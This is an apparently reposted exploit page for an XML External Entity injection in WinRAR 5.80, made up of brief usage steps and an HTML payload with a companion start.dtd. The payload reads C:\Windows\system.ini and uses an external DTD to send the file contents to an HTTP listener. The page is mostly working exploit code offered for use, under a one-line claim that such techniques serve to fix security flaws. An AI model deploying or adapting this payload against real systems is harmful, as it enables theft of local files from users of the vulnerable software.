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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: winrar 5.80 - XML External Entity Injection
# Exploit Author: hyp3rlinx
# Vendor Homepage: https://win-rar.com/fileadmin/winrar-versions/winrar-x64-58b2.exe
# Version: 5.80
# Tested on: Microsoft Windows Version 10.0.18362.418 64bit

# POC

1- python -m SimpleHTTPServer (listens Port 8000)
2- open winrar or any file.rar
3- help
4- help topics
5- Drag the exploit to the window


html file

<htmlL>
<body>
<xml>
<?xml version="1.0"?>
<!DOCTYPE flavios [ 
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8800/start.dtd">
%dtd;]>
<pwn>&send;</pwn>
</xml>
</body>
</html>



==============================
start.dtd

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8800?%file;'>">
%all;